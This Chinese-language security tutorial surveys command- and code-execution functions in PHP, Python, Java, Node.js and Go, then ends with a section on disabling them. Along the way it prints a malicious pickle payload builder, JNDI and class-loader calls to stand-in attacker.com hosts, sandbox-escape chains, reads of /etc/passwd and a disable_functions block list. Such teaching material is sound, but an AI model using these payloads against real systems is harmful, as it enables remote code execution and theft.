一、为什么危险函数重要
在代码注入或命令注入漏洞中,危险函数是将"输入"转化为"执行"的最后一步。即使你找到了注入入口,也必须通过危险函数才能将 Payload 转化为实际的代码执行。
用户输入 → 注入入口 → 危险函数 → 命令执行
↑ ↑
闭合 Payload 核心原语
二、PHP 危险函数矩阵
2.1 命令执行类
| 函数 | 执行方式 | 返回值 | 输出 | PHP版本 | 风险 |
|---|---|---|---|---|---|
system() |
启动进程执行命令 | 命令最后一行状态码 | 直接输出到浏览器 | 全部 | ★★★★★ |
exec() |
启动进程执行命令 | 命令最后一行输出 | 可通过 $output 参数捕获 | 全部 | ★★★★★ |
shell_exec() |
通过 shell 执行 | 命令完整输出字符串 | 不直接输出 | 全部 | ★★★★★ |
passthru() |
直接传递原始输出 | 无返回值 | 直接传输原始输出 | 全部 | ★★★★★ |
popen() |
打开进程文件指针 | 文件指针 | 通过 fgets/fread 读取 | 全部 | ★★★★ |
proc_open() |
打开进程并绑定 I/O | 进程资源 | 需手动管理管道 | 全部 | ★★★★ |
| 反引号 `` | 通过 shell 执行 | 命令完整输出 | 不直接输出 | 全部 | ★★★★★ |
2.2 PHP 函数签名与示例
<?php
// 1. system() - 最简单的命令执行
system('whoami'); // 直接输出: www-data
system('whoami', $retval); // $retval 为退出码
// 2. exec() - 可捕获完整输出
$last_line = exec('whoami', $full_output, $retval);
var_dump($last_line); // string(10) "www-data"
var_dump($full_output); // array(1) { [0]=> string(10) "www-data" }
var_dump($retval); // int(0)
// 3. shell_exec() - 等同于反引号
$output = shell_exec('cat /etc/passwd');
// 等同于
$output = `cat /etc/passwd`;
// 4. passthru() - 适合二进制输出
header('Content-Type: image/png');
passthru('cat image.png'); // 直接输出图片二进制
// 5. popen() - 文件指针方式
$fp = popen('ls -la', 'r');
while (!feof($fp)) {
echo fgets($fp);
}
pclose($fp);
// 6. proc_open() - 最灵活
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'], // stderr
];
$process = proc_open('whoami', $descriptors, $pipes);
$output = stream_get_contents($pipes[1]);
fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
proc_close($process);
// 7. pcntl_exec() - 当前进程替换(PHP 4.2+)
// 注意: 会替换当前进程,之后的代码不会执行
pcntl_exec('/bin/sh', ['-c', 'whoami']);
?>
2.3 assert() 特殊地位
<?php
// PHP 5.x: assert() 可以执行代码
// assert() 的参数是字符串时,会被当作 PHP 代码执行
assert('system("whoami")'); // RCE
// PHP 7.2+: assert() 开始废弃字符串参数
// PHP 8.0+: assert() 完全不再执行字符串代码
assert('1 == 1'); // 只做布尔断言,不执行代码
// 但可以用 ini_set 恢复(某些配置下)
ini_set('assert.active', '1');
ini_set('assert.exception', '0');
// PHP 8 中这个方法也失效了
// 替代: 使用 assert_options
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_CALLBACK, '');
// PHP 8 后 assert_options 也被废弃
?>
2.4 PHP 其他危险函数
<?php
// 代码执行类
eval('phpinfo();'); // 直接执行 PHP 代码
assert('system("id")'); // PHP 5 可执行代码
preg_replace('/./e', 'system("id")', 'test'); // /e 修饰符可执行代码
call_user_func('system', 'whoami'); // 动态函数调用
call_user_func_array('system', ['whoami']);
$func = 'system'; $func('whoami'); // 变量函数
array_map('system', ['whoami']); // 数组回调
// 文件包含类(可用于上传 Webshell)
include($_GET['page']); // 文件包含
require($_GET['page']);
include_once($_GET['page']);
require_once($_GET['page']);
// PHP 伪协议: php://input, data://, phar://
// 动态加载类/方法
$class = 'System'; $method = 'exec';
$obj = new $class();
$obj->$method('whoami');
// 反射(PHP 5+)
$reflection = new ReflectionClass('System');
$method = $reflection->getMethod('exec');
$method->invoke(null, 'whoami');
// 反序列化入口
unserialize($_GET['data']); // 可能触发 __destruct
?>
三、Python 危险函数矩阵
3.1 命令执行类
| 函数/方法 | 模块 | 返回值 | 是否等待 | 适用场景 |
|---|---|---|---|---|
os.system() |
os | 退出码(低16位) | 是 | 简单命令 |
os.popen() |
os | 文件对象 | 可选 | 需读取输出 |
subprocess.run() |
subprocess | CompletedProcess | 是 | Python 3.5+ |
subprocess.call() |
subprocess | 退出码 | 是 | 兼容旧版本 |
subprocess.check_output() |
subprocess | 输出字符串 | 是 | 需捕获输出 |
subprocess.Popen() |
subprocess | Popen对象 | 可选 | 最灵活 |
3.2 Python 完整示例
import os
import subprocess
# 1. os.system() - 简单直接
ret = os.system('whoami')
print(f"Exit code: {ret}") # 低16位: 0 表示成功
# 2. os.popen() - 读取输出
output = os.popen('cat /etc/passwd').read()
print(output)
# 3. subprocess.run() - Python 3.5+ 推荐
result = subprocess.run(['whoami'], capture_output=True, text=True)
print(result.stdout) # 输出字符串
print(result.returncode) # 退出码
# 4. subprocess.run() - 使用 shell=True(危险!)
result = subprocess.run('whoami | grep root', shell=True, capture_output=True)
print(result.stdout)
# 5. subprocess.check_output() - 直接返回输出
try:
out = subprocess.check_output('id', shell=True, text=True)
print(out)
except subprocess.CalledProcessError as e:
print(f"Command failed: {e}")
# 6. subprocess.Popen() - 异步/复杂场景
proc = subprocess.Popen(
['bash', '-c', 'sleep 5 && echo done'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = proc.communicate() # 等待完成
print(stdout)
# 7. exec() / eval() / compile()
exec("import os; os.system('whoami')")
eval("__import__('os').system('id')")
code = compile("print('hello')", '<string>', 'exec')
exec(code)
# 8. runpy(Python 3+)
import runpy
runpy.run_path('/path/to/script.py') # 执行任意 Python 文件
# 9. ctypes(调用 C 函数)
import ctypes
libc = ctypes.CDLL('libc.so.6')
libc.system('whoami')
3.3 Python pickle 危险操作
import pickle
import os
# 恶意 pickle 对象
class Evil:
def __reduce__(self):
# 返回 (callable, args),反序列化时会被调用
return (os.system, ('whoami',))
# 构造攻击 payload
payload = pickle.dumps(Evil())
# base64 编码传输
import base64
encoded = base64.b64encode(payload).decode()
print(f"Payload: {encoded}")
# 更短的 pickle 字节构造
# 直接手写 pickle 协议
import io
buf = io.BytesIO()
pickle.dump(os.system, buf)
pickle.dump(('id',), buf)
# 或者更精简的方式
# 服务端漏洞触发
# data = request.data
# obj = pickle.loads(data) # RCE!
四、Java 危险函数矩阵
4.1 命令执行类
// 1. Runtime.exec() - 最经典
Runtime.getRuntime().exec("whoami");
Runtime.getRuntime().exec(new String[]{"bash", "-c", "whoami"});
Runtime.getRuntime().exec("cmd.exe /c dir"); // Windows
// 2. ProcessBuilder - 更灵活
ProcessBuilder pb = new ProcessBuilder("whoami");
pb.redirectErrorStream(true);
Process p = pb.start();
// 读取输出
BufferedReader reader = new BufferedReader(
new InputStreamReader(p.getInputStream())
);
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = p.waitFor();
// 3. javax.script.ScriptEngine - 脚本引擎
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
engine.eval("java.lang.Runtime.getRuntime().exec('whoami')");
// 4. ProcessImpl(内部类)
// 通过反射调用
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, boolean.class);
method.setAccessible(true);
Process p = (Process) method.invoke(null, new String[]{"whoami"}, null, null, false);
// 5. JNDI 注入(Log4j 等)
// 通过 JNDI 加载远程类
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://attacker.com/Exploit");
// 6. GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate("Runtime.runtime.exec('whoami')");
// 7. MVEL
MVEL.eval("Runtime.getRuntime().exec('whoami')");
4.2 Java 反射链
// 通过反射逐层获取 Runtime 并执行命令
// 关键: 利用类继承链
// 方法1: 直接获取
Runtime.getRuntime().exec("whoami");
// 方法2: 通过 ProcessBuilder
new ProcessBuilder("whoami").start();
// 方法3: 通过 ClassLoader 加载恶意类
URLClassLoader cl = new URLClassLoader(new URL[]{new URL("http://attacker.com/evil.jar")});
Class<?> cls = cl.loadClass("Exploit");
cls.getMethod("run").invoke(null);
// 方法4: 通过 groovy 动态执行
GroovyShell gs = new GroovyShell();
gs.parse("$rt = java.lang.Runtime.runtime; $rt.exec('whoami')").run();
// 方法5: Spring SpEL
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('whoami')");
exp.getValue();
4.3 Java 反序列化危险入口
import java.io.*;
// 危险入口 1: ObjectInputStream.readObject()
public void deserialize(byte[] data) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject(); // RCE!
}
// 危险入口 2: XMLDecoder
XMLDecoder decoder = new XMLDecoder(new ByteArrayInputStream(xmlBytes));
Object obj = decoder.readObject(); // 可执行任意方法
// 危险入口 3: XStream
XStream xstream = new XStream();
Object obj = xstream.fromXML(xmlString); // 反序列化 RCE
// 危险入口 4: SnakeYAML
Yaml yaml = new Yaml();
Object obj = yaml.load(yamlString); // !!javax.script.ScriptEngineManager 可 RCE
// 危险入口 5: fastjson
JSONObject.parseObject(jsonString); // autoType 可触发 RCE
// 危险入口 6: JNDI lookup
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://attacker.com/Exploit"); // RMI 反序列化
ctx.lookup("ldap://attacker.com/Exploit"); // LDAP + 远程类加载
五、Node.js 危险函数矩阵
5.1 child_process 模块详解
const cp = require('child_process');
// 1. exec() - 通过 shell 执行(危险!)
cp.exec('whoami', (err, stdout, stderr) => {
console.log(stdout);
});
// 2. execSync() - 同步版本
const out = cp.execSync('whoami').toString();
console.log(out);
// 3. execFile() - 直接执行文件,不经过 shell
cp.execFile('/bin/whoami', [], (err, stdout) => {
console.log(stdout);
});
// 4. spawn() - 流式执行
const child = cp.spawn('bash', ['-c', 'whoami']);
child.stdout.on('data', (data) => console.log(data.toString()));
// 5. fork() - 启动子进程
const child = cp.fork('./child.js');
child.send({ cmd: 'whoami' });
// 6. spawnSync() - 同步 spawn
const result = cp.spawnSync('whoami');
console.log(result.stdout.toString());
// 7. eval() / Function()
eval('require("child_process").execSync("whoami")');
new Function('return process.mainModule.require("child_process").execSync("whoami")')();
5.2 Node.js 全局危险对象
// process - 可以执行命令
process.mainModule.require('child_process').execSync('whoami');
// 或
global.process.mainModule.require('child_process').execSync('id');
// global.require - 某些环境可访问
global.require('child_process').execSync('whoami');
// 通过 Error 获取
err = new Error();
err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id');
// 通过 VM 沙箱逃逸
const vm = require('vm');
vm.runInContext(
'this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami")',
vm.createContext({})
);
六、Go 危险函数矩阵
6.1 os/exec 包
package main
import (
"os/exec"
"io/ioutil"
"fmt"
)
func main() {
// 1. exec.Command - 推荐方式(不通过 shell)
cmd := exec.Command("whoami")
out, err := cmd.Output()
if err != nil {
fmt.Println(err)
}
fmt.Println(string(out))
// 2. 通过 shell 执行(危险!用户输入可能被注入)
userInput := "127.0.0.1; whoami"
cmd = exec.Command("sh", "-c", "ping -c 1 "+userInput)
cmd.Run()
// 3. 带环境变量
cmd = exec.Command("bash", "-c", "echo $MYVAR")
cmd.Env = append(os.Environ(), "MYVAR=hello")
out, _ = cmd.Output()
fmt.Println(string(out))
// 4. 流式读取
cmd = exec.Command("bash", "-c", "cat /etc/passwd")
stdout, _ := cmd.StdoutPipe()
cmd.Start()
data, _ := ioutil.ReadAll(stdout)
cmd.Wait()
fmt.Println(string(data))
// 5. syscall.Exec - 替换当前进程
// syscall.Exec("/bin/sh", []string{"sh", "-c", "whoami"}, os.Environ())
}
七、危险函数触发链:从 eval 到命令执行
7.1 PHP 完整链路
eval("...")
→ 动态函数 ${"system"}()
→ system("whoami")
→ shell 执行 /bin/sh -c whoami
或者:
eval("...")
→ include("data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==")
→ 包含并执行 base64 编码的 PHP 代码
→ system("whoami")
或者:
preg_replace("/./e", "...", "input")
→ 执行替换模式中的代码
→ call_user_func("system", "whoami")
7.2 Python 完整链路
eval(user_input)
→ __import__("os").system("whoami")
→ os.system()
→ C 级 system() 函数
或者:
eval(user_input)
→ [].__class__.__bases__[0].__subclasses__()[X]
→ .__init__.__globals__["__builtins__"]["__import__"]("os")
→ .system("whoami")
或者:
exec(user_input)
→ import subprocess
→ subprocess.call(["bash", "-c", "whoami"])
7.3 Java 完整链路
反序列化入口 readObject()
→ InvocationHandler.invoke()
→ Method.invoke(Runtime.getRuntime(), "exec", ...)
→ Runtime.exec("whoami")
→ ProcessBuilder.start()
→ 操作系统 fork + exec
或者:
SpEL 表达式 T(java.lang.Runtime).getRuntime().exec('whoami')
→ StandardEvaluationContext.getType()
→ Class.forName("java.lang.Runtime")
→ getMethod("getRuntime").invoke(null)
→ .exec("whoami")
或者:
OGNL 表达式
→ #a=@java.lang.Runtime@getRuntime()
→ #a.exec('whoami')
八、防御:禁用危险函数
8.1 PHP disable_functions
; php.ini 配置
disable_functions = eval,assert,passthru,exec,shell_exec,system,popen,proc_open,pcntl_exec,pcntl_fork,popen,proc_nice,proc_terminate,proc_kill,proc_get_status,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,imap_open,apache_setenv,curl_multi_exec,parse_ini_file,show_source
8.2 Python
# 使用 restricted 模式(有限)
# 或 monkey-patch 危险模块
import os
os.system = lambda *args, **kwargs: None
import subprocess
subprocess.call = lambda *args, **kwargs: None
subprocess.Popen = lambda *args, **kwargs: None
8.3 Java SecurityManager
// 自定义 SecurityManager 拦截 Runtime.exec
public class NoExecSecurityManager extends SecurityManager {
@Override
public void checkExec(String cmd) {
throw new SecurityException("Runtime.exec blocked: " + cmd);
}
@Override
public void checkConnect(String host, int port) {
throw new SecurityException("Network blocked: " + host + ":" + port);
}
}
// 设置
System.setSecurityManager(new NoExecSecurityManager());
九、总结
危险函数是 RCE 攻击的核心"最后一公里":
- 命令执行类:system/exec/shell_exec/Runtime.exec/ProcessBuilder —— 直接执行 shell
- 代码执行类:eval/assert/ScriptEngine.eval —— 执行语言自身代码
- 反序列化类:readObject/unserialize/pickle.loads —— 通过对象构造间接执行
- 模板表达式类:SpEL/OGNL/MVEL —— 表达式引擎执行
在攻防对抗中,攻击者需要找到并打通这条链,防御者需要在链的任何一环设置阻断。